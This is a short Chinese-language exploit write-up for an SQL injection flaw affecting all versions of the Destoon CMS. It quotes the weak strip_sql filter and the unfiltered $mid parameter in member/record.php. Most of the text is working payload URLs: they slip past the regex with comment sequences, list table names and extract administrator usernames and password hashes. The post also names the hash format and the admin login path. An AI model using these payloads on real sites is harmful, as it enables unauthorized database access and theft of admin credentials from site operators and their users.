destoon 全版本SQL注入漏洞

在include/global.func.php 中strip_sql函数对传进来的值进行了过滤，但是我们可以绕过该限制，达到全版本注入
[php]

function strip_sql($string) {
$search = array("/union[/s|/t]/i","/select[/s|/t]/i","/update[/s|/t]/i","/outfile[/s|/t]/i","/ascii/i","/[/s|/t]or[/s|/t]/i","////*/i");
$replace = array('union ','select ','update ','outfile ','ascii ',' or ', '');
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string);

}
[/php]
在member/record.php 中
[php]
require 'config.inc.php';
require '../common.inc.php';
require DT_ROOT.'/module/'.$module.'/record.inc.php';
?>[/php]
调用了record.inc.php
[php]
switch($action) {
case 'pay':
$MODULE[-9]['name'] = $L['resume_name'];
$MODULE[-9]['islink'] = 0;
$MODULE[-9]['linkurl'] = $MODULE[9]['linkurl'];
isset($fromtime) or $fromtime = '';
isset($totime) or $totime = '';
isset($dfromtime) or $dfromtime = '';
isset($dtotime) or $dtotime = '';
isset($mid) or $mid = 0;
isset($currency) or $currency = '';
$module_select = module_select('mid', $L['module_name'], $mid);
if($keyword) $condition .= " AND title LIKE '%$keyword%'";
if($fromtime) $condition .= " AND paytime>".(strtotime($fromtime.' 00:00:00'));
if($totime) $condition .= " AND paytime<".(strtotime($totime.' 23:59:59'));
if($mid) $condition .= " AND moduleid=$mid";
if($itemid) $condition .= " AND itemid=$itemid";

....//[/php]
其中$mid 是没经过过滤的，导致我们可以注入
但是前面有防注入处理？
看我们怎么绕过注入中的正则
http://0day5.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,password,username,5,6,7,8,9 from destoon_member where admin=1-- a
看看这样是不是可以了？
这样就达到可以绕过正则了。。。
当前。前缀肯定是有变化的了,我看使用
[php]http://0day5.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,GROUP_CONCAT(DISTINCT+table_name),4,5,6,7,8,9+from+information_schema.columns+where+table_schema=database()--%20a[/php]
来获取前缀。再使用
[php]http://0day5.com/member//record.php?action=pay&mid=-1+union//***/select//***/1,2,concat(username,0x3A,password),4,5,6,7,8,9%20from%20destoon_member%20where%20admin=1--%20a[/php]
来获得帐号和密码，密文为md5(md5(psw))类型，后台貌似为admin.php

Author:90sec 西毒